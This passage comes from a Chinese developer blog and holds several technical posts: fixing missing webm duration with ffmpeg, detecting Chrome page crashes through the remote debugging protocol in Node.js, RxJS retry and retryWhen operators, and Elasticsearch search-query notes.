  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'rebirth-demo.webm':
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1

关键点来了，可以发现其中: Duration 和 bitrate 的值都是 N/A，这是不正常的，于是去搜一下 webm duration，果然网上有很多的说明文章。

大体意思是，因为 getUserMedia、MediaRecorder 在生成 webm 时，并没有提供相关 Duration 和 bitrate。导致出现这种问题。

解决方案 {#solution}

一、计算视频长度，分配给 `blob` {#blob-duration}

这种方法的核心就是，在 start 开始录制时，记录一个开始时间，然后在 stop 停止录制后，把当前时间与记录的开始时间相减，在把时间赋值给 blob 来解决这个问题。相关解决方案可见: fix-webm-duration

二、通过给 audio 标签一个很大的时间 {#audio-large-time}

在播放 webm 视频时，可以动态的给 audio 一个很大的时间，来解决这个问题，但是目前只针对 chrome 有效。相关解决方案可见: How can I add predefined length to audio recorded from MediaRecorder in Chrome?

三、跳到结尾，再跳到开头 {#seek-end-then-start}

因为上文说过，当视频播放完后，就可以拖动了，那么只需要通过 JS 来控制当前的视频位置就可以解决了。相关解决方案可见: hello-its-me

四、通过 ffmpeg 来解决 {#ffmpeg}

第一个解决的命令如下: ffmpeg -i rebirth-demo.webm xixi.webm，但是这个命令会很漫长，不太推荐。30 秒的视频，需要花费 3 分钟左右的时间。

第二个命令是: ffmpeg -i rebirth-demo.webm -vcodec copy -acodec copy new_rebirth-demo.webm。这个十分的快，因为本身是直接复制，而不是转化:

ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm
ffmpeg version 4.1.3 Copyright (c) 2000-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'rebirth-demo.webm':
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
Output #0, webm, to 'new_rebirth-demo.webm':
  Metadata:
    encoder         : Lavf58.20.100
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080 [SAR 1:1 DAR 16:9], q=2-31, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
Stream mapping:
  Stream #0:1 -> #0:0 (copy)
  Stream #0:0 -> #0:1 (copy)
Press [q] to stop, [?] for help
frame= 3589 fps=0.0 q=-1.0 Lsize=    2107kB time=00:01:59.92 bitrate= 143.9kbits/s speed=4.75e+03x
video:2053kB audio:16kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.849351%

$ ffprobe new_rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'new_rebirth-demo.webm':
  Metadata:
    ENCODER         : Lavf58.20.100
  Duration: 00:01:59.96, start: 0.000000, bitrate: 143 kb/s
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      ALPHA_MODE      : 1
      DURATION        : 00:01:59.928000000
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Metadata:
      DURATION        : 00:01:59.955000000

可见已经没有问题了

总结 {#conclusion}

我个人倾向于最后一种，因为前面几个方法并没有实际性解决这个问题。

这个问题，是Chrome Bug。目前社区也在讨论，但是到目前为止还没有任何修复的方案。

社区讨论地址: https://bugs.chromium.org/p/chromium/issues/detail?id=642012

通过 Webkit 远程调试协议监听网页崩溃

bh@bugs.cc (Kevin Cui) — Mon, 22 Apr 2019 07:51:25 GMT

背景介绍 {#intro}

因为正在开发一个项目，而这个项目使用到了 puppeteer，其中有个功能是在 puppeteer 打开的 chrome 里打开多个 Tab，并进行管理。虽然 puppeteer 可以打开多个网站，但是并不利于管理，所有我使用的是插件的方式，通过插件来打开多网站，并进行管理。

但是这里有个需求是，当网站崩溃时，我要做出一些操作。但是目前网上没有一个好的办法去监听当前网站是否崩溃。

可能有同学会说: puppeteer 不是提供了一个 page.on('error', fn) 的方法，来进行监听么？

请注意上文中提到的，使用插件打开多个网站，puppeteer 提供的方法只能对自己打开的网站起作用，没有使用 puppeteer 打开的网站，page.on('error', fn) 方法无能为力。

使用 Service Workers {#service-workers}

这个方法是由我同事 Haitao 提出来的思路。

在当前网站上运行一个 Service Workers，因为在运行的时候 Service Workers 会再启动一个单独的进程，当前网站和 Service Workers 是两个单独的进程。也就是说当网站崩溃时，并不影响 Service Workers 进程。所以可通过心跳检测来进行判断网站是否崩溃。

网上也有阿里的同学写的相关文章: 如何监控网页崩溃？

但是我并没有使用这个方式，因为当 Service Workers 崩溃了，那就没有任何办法了，可能有同学会说: 网站和 Service Workers 互相发心跳检测。这可能是一种办法，但是我不太喜欢这种方式。

使用 Webkit 的远程调试协议 {#remote-debugging}

介绍 {#remote-debugging-intro}

在开始前，我们先去看下 puppeteer 的源码，为什么 puppeteer 可以监听到网页的崩溃。

其代码在 lib/Page.js 文件里。

首先可以看到 Page 是一个 Class，其继承了 EventEmitter，EventEmitter 为 page 提供了 on 方法，也就是我们之前看到的: page.on('error', fn)

从这里就可知，在 Page Class 里，有地方调用了 this.emit('error') 来触发 error event。搜了一下，发现其代码在 _onTargetCrashed 方法里。如:

触发 crash 的方法，我们找到了。那这个 _onTargetCrashed 又是在哪触发的呢？

可见，是一个叫 client 的方法监听到了 Inspector.targetCrashed 事件，而这个事件触发了 _onTargetCrashed 函数，clinet 方法就不再跟了，因为跳地方较多，只需要知道，最终 client 是一个 websocket 的产物。而 websocket 创建的代码在 lib/Launcher.js 里。代码位置

注意这两行:

const transport = new PipeTransport((chromeProcess.stdio[3]), (chromeProcess.stdio[4]));

connection = new Connection('', transport, slowMo);

chromeProcess 是 nodejs 中的 spawn 产物，代码为:

代码位置

const chromeProcess = childProcess.spawn(
  chromeExecutable,
  chromeArguments,
  {
    detached: process.platform !== 'win32',
    env,
    stdio
  }
);

其中 chromeArguments 是 chrome 启动的参数列表，此列表是有一个 --remote-debugging- 的:

代码位置

if (!chromeArguments.some(argument => argument.startsWith('--remote-debugging-')))
  chromeArguments.push(pipe ? '--remote-debugging-pipe' : '--remote-debugging-port=0');

现在就明朗多了，Inspector.targetCrashed 这个事件，是由 Webkit远程调试协议 也就是 remote debugging protocol 提供的。

其定义在 webkit 的 Inspector.json 里: Source/WebCore/inspector/Inspector.json#L39-L42

关于这个 event 的 commit url 为: https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b

编写解决方案代码 {#solution-code}

现在我们知道了，只要能监听到 Inspector.targetCrashed 事件，就可以知道网站是否关闭了。我们先在 puppeteer 的启动参数里，增加一行启动参数:

puppeteer.launch({
  args: [
    '--remote-debugging-port=9222'
    // other args
  ]
});

当 puppeteer 启动时，会监听本地的 9222 端口，其中路径 /json 为当前的详情。如:

其格式为:

[
  {
    "description": "",
    "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3",
    "faviconUrl": "https://s.ytimg.com/yts/img/favicon_32-vflOogEID.png",
    "id": "A1CB5A9CC25A7EE8A99C6A4A1876E4D3",
    "title": "張三李四 Chang and Lee 【等無此人 Waiting】 - YouTube",
    "type": "page",
    "url": "https://www.youtube.com/watch?v=lAcUGvpRkig&list=PL3p0C_7POnMHG-b0dzkeTVdNuM6yRE5iQ&index=10&t=0s",
    "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3"
  }
]

其中的 type 为当前进程的详情:

page: 网页
iframe: 网页嵌套的 iframe
background_page: 插件页面
service_worker: Service Workers

这个 type 的作用在于，你只想监听某一类型的崩溃。

还有一个更主要的字段: webSocketDebuggerUrl。我们将使用这个字段的值，来进行获取消息。有一个简单的 demo:

const http =  require('http');
const WebSocket = require('ws');

http.get('http://127.0.0.1:9222/json', res => {
  res.addListener('data', data => {
    const result = JSON.parse(data.toString());
    result.forEach(info => {
      const client = new WebSocket(info.webSocketDebuggerUrl);
      client.on('message', data => {
        if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) {
          console.error('crash!');
        }
      });
    });
  })
})

先看懂这段代码，后面的代码才好理解，因为代码过于简单，这里就不再介绍了。

这段代码有个问题是，插件打开网站时，会存在一定的延迟，可能会导致某些网站没有被监听到，而且当这段代码运行后，插件再打开网站时，也不会监听到。针对这个问题，优化了下代码:

const http =  require('http');
const WebSocket = require('ws');

module.exports = () => {
  const wsList = {};
  let crashStaus = false;

  const getWsList = () => {
    return new Promise((resolve) => {
      http.get('http://127.0.0.1:9222/json', res => {
        res.addListener('data', data => {
          try {
            const result = JSON.parse(data.toString());
            const tempWsList = {};

            result.forEach(info => {
              if (typeof wsList[info.id] === 'undefined') {
                tempWsList[info.id] = info.webSocketDebuggerUrl;
                wsList[info.id] = info.webSocketDebuggerUrl;
              }
            });

            if (Object.keys(tempWsList).length !== 0) {
              resolve(tempWsList);
            }
          } catch (e) {
            console.error(e);
          }
        });
      });
    });
  };

  setInterval(() => {
    getWsList().then(list => {
      Object.values(list).forEach(wsUrl => {
        const client = new WebSocket(wsUrl);
        client.on('message', data => {
          if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) {
            if (!crashStaus) {
              crashStaus = true;
              console.log('crash!!!');
            }
          }
        });
      })
    });
  }, 1000);
};

其中需要说明一下这段代码:

if (!crashStaus) {
  crashStaus = true;
  console.log('crash!!!');
}

因为我的需求是，任何一个进程 crash 了，就关闭整个服务，重新运行。所以如果有多个进程同时 crash 了。我的代码只走一次，不想让他走多次。这个是针对我这里的需求，各位同学可以根据自己的需求更改代码。

参考 {#references}

Webkit 远程调试协议初探

Chrome 远程调试协议分析与实战

聊聊 RxJS 中的错误重试

bh@bugs.cc (Kevin Cui) — Sat, 12 Jan 2019 10:52:05 GMT

前言 {#intro}

最近工作中有一个需求是: 如果这个请求超时，则进行重试，且重试次数可配置。

首先我们发请求使用的库为: Axios，其处理请求的位置，是在 redux-observable 中的 epic 里。

那么如果要完成重试机制的话，有两种办法:

在对 Axios 封装的函数里添加重试代码
在 epic 里，使用 RxJS 操作符进行重试。

关于 Axios 重试的，其实比较麻烦的，而且需要在原有封装好的函数里，继续添加重试代码，总感觉不太好。且维护起来也不太方便。于是那就使用 RxJS 操作符进行重试吧。本文代码将不会套用项目代码，而是重新写一个 Demo，方便理解。

RxJS 错误重试操作符 {#retry-operators}

在 RxJS 中，提供了两个操作符 retry 和 retryWhen。

需要注意的是: 重试时，这两个操作符都会重试整个序列。

且 retry 和 retryWhen 只捕获 Error，但是对 Promise 有点无能为，解决方案文中会说明。

retry

retry 操作符是用来指定重试次数，比如遇到错误了，将会重试 n 次。以下是 Demo:

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error');
  }
  return val;
}).retry(1)

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

在线运行

上面的代码，会每隔 1 秒钟发出一次数字序列，当使用 subscribe 订阅后，一秒钟后会发出 0，第二秒发出 1，以此类推。

然后每次的数字序列都会到到达 map 操作符里，在 map 操作符中，我们可以看到当数字序列等于 2 时，则会抛出错误。不等于 2 时，则原封不动的返回，最终到达 subscribe 中的 next 函数。

运行结果如图:

首先发出 0 和 1，没有问题，当 val 为 2 时，抛出错误。被 retry 捕获到，重新走一遍整个 RxJS 序列。于是会发现又发了一次 0 和 1，这个时候又到 2 了，于是继续报错，但是 retry 的重试次数已经用完，则 retry 就不会再管了，直接跳过。于是被 subscribe 中的 error 函数捕获到。打印出 error。

retryWhen

上面的 retry 操作符，只能用来设置重试次数，我们有时想做成: 重试时，打印日志，或者其他操作。那么这个时候 retry 就不太适合了。所以我们需要 retryWhen 来操作。

代码如下:

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .do(() => console.log('正在重试'))
    .delay(2000)
})

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

在线运行

运行结果如图:

其发送逻辑和上面差不多，只是处理的时候不同了。

我们使用 retryWhen 操作符来控制重试的逻辑，我们先使用 do 操作符，在控制台打印字符串，再使用 delay 来延迟 2 秒进行重试。

但是这里会一直重试，没有设置重试次数的地方，解决方案在下一章节。

retry + retryWhen

这个时候，我们发现 retry 可以设置重试次数，retryWhen 可以设置重试逻辑。

但是我们想设置重试次数，又想设置重试逻辑，那应该怎么办呢？

OK，先让我们看看 retryWhen 操作符。这个操作符如果内部触发了 Error 或者 Completed，那么就会停止重试，将会把内部触发的 Error 或者 Completed 交给 subscribe 的订阅操作符。可能这样说，比较麻烦，我们先上 Demo，按照 Demo 来说，会有助于理解:

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .scan((acc, curr) => {
      if (acc > 2) {
        throw curr
      }
      return acc + 1
    }, 1)
})

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

在线运行

结果如图:

发送逻辑没有变化，但是出现了新的操作符: scan，那么这个操作符是做什么用的呢？

可以把 scan 理解为 javascript 中的 reduce 函数，这个操作符，具有两个参数，第一个是回调函数，第二个是默认值。就比如上面的代码，默认值是 1，acc 第一次是 1，第二次重试时，acc 就是 2，第三次重试时，acc 为 3，已经大于 2 了，那么 if 表达式则会 true，直接使用 throw 抛出 curr，这里的 curr 其实就是上面的错误原文。上文也说道了，如果在 scan 内初触发了 Error 则会停止重试，交给下面的 subscribe，然后触发了订阅的 error 函数，打印出 error。

其实满足重试次数后，把错误再抛出去，是比较正常的操作，让后面的操作符，对错误进行处理。但是可能有些人的业务需求是需要返回 Completed，那么可以参考下面的代码:

const source = Rx.Observable.interval(200)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .scan((acc, curr) => {
      return acc + 1
    }, 0)
    .takeWhile(v => v <= 2)
})

example.subscribe({
  complete: () => console.log('Completed'),
  next: val => console.log(val),
  error: val => console.log(val.message)
});

在线运行

运行结果如图:

可以看到使用了一个新的操作符 takeWhile。这个操作符接受一个函数，如果这个函数返回了 true，则继续把值交给下面的操作符，一旦函数返回 false，则会触发 subscribe 中的 complete，也就是说这个序列已经完成。这样看的话，你就明白上面的代码的意图了。

解决 Promise 问题 {#promise-retry}

上文也说了 retry 和 retryWhen 是不支持 Promise.reject() 的，其实这里的表达不太准确，应该说是 Promise 没有重试的 API，当重试的时候 Promise 已经在运行中了，所以无法再次调用该方法。也就造成了 retry 和 retryWhen 不能对 Promise 进行重试。那么解决方案也很简单了。

我们可以使用 defer 操作符，现在来简单说明下这个操作符的用处。

defer 接受一个函数参数，其函数不会运行，只有你使用 subscribe 去订阅的时候，才会去运行函数。并且运行函数，都是在独立的运行空间内，也就说，即使我们使用 Promise，也不会造成无法重试的情况，因为它不是复用之前的结果，而是重新开启一个新的内存空间，去运行函数，返回函数结果。

那么我们就可以把代码写成下面这样:

const getInfo: AxiosPromise = axios.get('http://xxx.com')
const exp = defer(() => getInfo)
  .retryWhen(err => {
    return err.scan((acc, curr) => {
      if (acc > 2) {
        throw curr
      }

      return acc + 1
    }, 1)
  })

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

读书笔记: 从 Lucene 到 Elasticsearch: 全文检索实战

bh@bugs.cc (Kevin Cui) — Sun, 30 Dec 2018 14:52:05 GMT

从 Lucene 到 Elasticsearch: 全文检索实战 {#lucene-to-elasticsearch}

当前的笔记只介绍 Elasticsearch 的搜索部分。

文章中的搜索都是在 kibana 的 Dev tools 进行查询的。

准备工作 {#preparation}

需要安装 Elasticsearch、kibana、elasticsearch-analysis-ik

具体的安装方式，这里就不再阐述了。（安装完，记得重启 Elasticsearch ）

重启完成后，打开 kibana 的 Dev tools，输入下面的 DSL 代码，并运行:

PUT books
{
  "settings": {
    "number_of_replicas": 1,
    "number_of_shards": 3
  },
  "mappings": {
    "IT": {
      "properties": {
        "id": {
          "type": "long"
        },
        "title": {
          "type": "text",
          "analyzer": "ik_max_word"
        },
        "language": {
          "type": "keyword"
        },
        "author": {
          "type": "keyword"
        },
        "price": {
          "type": "double"
        },
        "year": {
          "type": "date",
          "format": "yyyy-MM-dd"
        },
        "description": {
          "type": "text",
          "analyzer": "ik_max_word"
        }
      }
    }
  }
}

运行好后，将下面的内容保存为 books.json:

{"index":{ "_index": "books", "_type": "IT", "_id": "1" }}
{"id":"1","title":"Java编程思想","language":"java","author":"Bruce Eckel","price":70.20,"publish_time":"2007-10-01","description":"Java学习必读经典,殿堂级著作！赢得了全球程序员的广泛赞誉。"}
{"index":{ "_index": "books", "_type": "IT", "_id": "2" }}
{"id":"2","title":"Java程序性能优化","language":"java","author":"葛一鸣","price":46.50,"publish_time":"2012-08-01","description":"让你的Java程序更快、更稳定。深入剖析软件设计层面、代码层面、JVM虚拟机层面的优化方法"}
{"index":{ "_index": "books", "_type": "IT", "_id": "3" }}
{"id":"3","title":"Python科学计算","language":"python","author":"张若愚","price":81.40,"publish_time":"2016-05-01","description":"零基础学python,光盘中作者独家整合开发winPython运行环境，涵盖了Python各个扩展库"}
{"index":{ "_index": "books", "_type": "IT", "_id": "4" }}
{"id":"4","title":"Python基础教程","language":"python","author":"Helant","price":54.50,"publish_time":"2014-03-01","description":"经典的Python入门教程，层次鲜明，结构严谨，内容翔实"}
{"index":{ "_index": "books", "_type": "IT", "_id": "5" }}
{"id":"5","title":"JavaScript高级程序设计","language":"javascript","author":"Nicholas C. Zakas","price":66.40,"publish_time":"2012-10-01","description":"JavaScript技术经典名著"}

然后进行导入。如果你安装的 Elasticsearch 版本小于 6.0，使用下面的命令进行导入 books.json:

curl -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json

如果你的 Elasticsearch 版本大于 6.0，则使用下面的命令进行导入:

curl -H "Content-Type: application/json" -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json

基本搜索 {#basic-search}

返回指定 index 的所有文档 {#all-docs-in-index}

GET books/_search
{
  "query": {
    "match_all": {}
  }
}

可以简写为:

GET books/search

查找指定字段中包含给定单词的文档 {#field-contains-word}

使用 term 来进行查询，term 查询不会被解析，只有查询的词和文档中的词精确匹配才会被搜索到，应用场景为: 查询人名、地名等需要精准匹配的需求。

查询 title 字段中含有思想的书籍

GET books/_search
{
  "query": {
    "term": {
      "title": "思想"
    }
  }
}

返回如下:

对查询结果进行分页 {#pagination}

有时查询时，会返回成千上万的数据，这种情况下，分页的作用就出来了。

分页有两个属性，分别是 from、size

from: 从何处开始
size: 返回的文档最大数量

可以理解为: 我从 from 位置把剩下的文档全部返回，然后 size 限制了返回的数量。

用 js 代码来诠释就是:

const from = 100 - 1; // 数组从 0 开始，需要减一
const size = 10;
const data = [1, 2, 3, ..., 999, 1000];

const fromDate = data.splice(from);
const result = fromData.splice(0, size);
console.log(result) //=> [100, 101, 102, 103, 104, 105, 106, 107, 108, 109]

限制返回字段 {#limit-fields}

一般我们查询时，都是为了观察某一个字段，而不是想看全部的字段。而如果是默认情况下，Elasticsearch 会返回的文档的全部字段信息。会对工作造成一定的影响。于是，Elasticsearch 提供了一个接口，用于限制返回的字段。假设我只需要 title 和 author 字段:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "term": {
      "title": "java"
    }
  }
}

结果如图:

基于最小评分过滤 {#min-score}

因为 Elasticsearch 在做普通的搜索时，是采用相关性进行搜索的，而相关性是由评分 取决的。所以当我们进行模糊搜索时，Elasticsearch 可能会返回一些相关性不那么高的文档。所以我们可以通过 Elasticsearch 提供的接口，来设置一个评分最低标准，低于这个标准的文档，将不会出现在结果页中。

比如，我想搜索 title 里包含 java 的文档，并且评分不低于 0.7:

GET books/_search
{
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  }
}

结果如图:

高亮关键字 {#highlight}

有时，我们会把 Elasticsearch 结果直接导入到网页中，这个时候需要高亮关键字，让用户更加清楚自己想要的东西，Elasticsearch 已经提供了一个接口，比如我想让搜索出来的结果中的关键字高亮:

GET books/_search
{
  "_source": ["title"],
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  },
  "highlight": {
    "fields": {
      "title": {}
    }
  }
}

结果如图:

默认的标签是 <em></em>，如果你想自定义，可以使用: pre_tags 和 post_tags。最终查询代码为:

GET books/_search
{
  "_source": ["title"],
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  },
  "highlight" : {
    "pre_tags" : ["<h1>"],
    "post_tags" : ["</h1>"],
    "fields" : {
      "title" : {}
    }
  }
}

结果如图:

全文查询 {#full-text-queries}

上节基本都是以 term 进行搜索，但其实 Elasticsearch 提供了很多搜索方法，本章就是介绍 Elasticsearch 有哪些搜索方法、分别起的作用。

本章对 common_terms query、query_string query、simple_query_string query 没有解释说明，因为使用起来较少，而且解释起来较为麻烦。如果想了解，可以参考网上的文章。这里就不在阐述了。

match query

我们先使用 term 进行一次查询:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "term": {
      "title": "java编程"
    }
  }
}

你会发现，其结果为空 (但是数据库里是有这个数据的)，如图:

这是因为 term 是匹配分词后的词项来进行查询的。比如刚刚我们查的 java编程，在 Elasticsearch 进行分词时，会把 java编程 分为: java 和 编程。导致匹配不起来。

用代码诠释的话就是:

const keyword = 'java编程';
const data = ['java', '编程'];
const result = data.includes(keyword);
console.log(result) //=> false

现在我们把 term 换成 match 来尝试下:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match": {
      "title": "java编程"
    }
  }
}

结果如图:

可以发现，已经有结果了，但是为什么会有两个呢？

原因是因为 match 会对你的关键字进行分词，然后去匹配文档分词后的结果，只要文档里的词项能匹配关键字分词后的任何一个，都会返回到结果里。

代码诠释:

const data = ['java', '编程', '思想']; // 分词后的文档里的数据
const keywords = ['java', '编程', '思想']; // 分词后的关键字

const result = (() => {
  for (let x = 0; x < data.length; x++) {
    const dataItem = data[x];
    for (let y = 0; y < keywords.length; y++) {
      const keywordItem = keywords[y];
      if (dataItem === keywordItem) {
        return true;
      }
    }
  }
  return false;
})()

如果我只想让它返回一个呢，并且只能用 match 来做，可以么？

是可以的，match 提供了一个属性: operator。可以用这个来帮助完成这个需求:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match": {
      "title": {
        "query": "java编程",
        "operator": "and"
      }
    }
  }
}

最终的结果如图:

原理是因为 operator 属性的值为 and，这样的话，就告诉 Elasticsearch 我要让我的关键字都能和文档里的词项匹配上。有一个没匹配上，我都不要。

如果 operator 属性的值为 or，那结果就和之前是一样的了。

match_phrase query

你可以把这个方法理解为自带了 operator 属性的值为 and 的 match。

这个方法有两个限制条件，只有都满足，才会在结果中显示出:

分词后的所有词项都在该字段中，相当于 operator: "and"
顺序要一致

顺序一致指的是什么呢？

假设你使用 match 来匹配: 编程java，那么结果还是和上面一样。所以如果你需要要求顺序一致性，那么你就可以使用 match_phrase 来做。

如果使用 编程java 来搜索:

如果使用 java编程:

match_phrase_prefix query

这个方法和 match_phrase 方法类似，不过这个方法可以可以把最后一个词项作为前缀进行匹配，想象一下: 用户在搜索栏中搜索 辣鸡UZ，然后下面列表中出现了 辣鸡UZI。

首先 match_phrase_prefix 会先分词为: 辣鸡，然后找了一个文档，再然后匹配 辣鸡 后面的字符串是否以 UZ 开头的。这个时候文档满足条件，就返回出结果。可以假想后面一直有一个(.*)的通配符，如: 辣鸡UZ(.*)。

知道原理了，我们现在写一个查询语句:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match_phrase_prefix": {
      "title": "java编"
    }
  }
}

结果如图:

multi_match query

multi_match 是 match 的升级方法，可以用来搜索多个字段。

比如我不想只在 title 里搜索 java编程，我还想在 description 里进行搜索。那应该怎么做呢？

Elasticsearch 已经提供了 multi_match 专门用来处理这件事情:

GET books/_search
{
  "_source": ["title", "description"],
  "query": {
    "multi_match": {
      "query": "java编程",
      "fields": ["title", "description"]
    }
  }
}

最终结果如图:

并且 multi_match 还支持通配符。上面的查询语句，可以写成:

GET books/_search
{
  "_source": ["title", "description"],
  "query": {
    "multi_match": {
      "query": "java编程",
      "fields": ["title", "*tion"]
    }
  }
}

词项查询 {#term-queries}

上一章是全文查询，这一章是词项查询。他们俩的区别在于:

全文查询: 会对查询语句 (query) 进行分词，然后匹配文档里分词后的数据
词项查询: 不会对查询语句进行分词

term query

第一章节已经介绍过了，这里就不再阐述了。

terms query

terms 是 term 查询的升级版本，可以用来查询文档中某一字段，是否包含了其关键字。比如，我想查询 title 字段中包含了 优化 或者 基础 的文档:

GET books/_search
{
  "_source": ["title"],
  "query": {
    "terms": {
      "title": ["优化", "基础"]
    }
  }
}

其结果如图:

range query

从名字就能猜测出 range 是范围匹配。可以匹配 number、date、string (字符串范围查询比较特殊，比较少用，就不再阐述了)

range 支持以下查询参数:

gt: 大于
gte: 大于等于
lt: 小于
lte: 小于等于

number 范围查询 {#number-range}

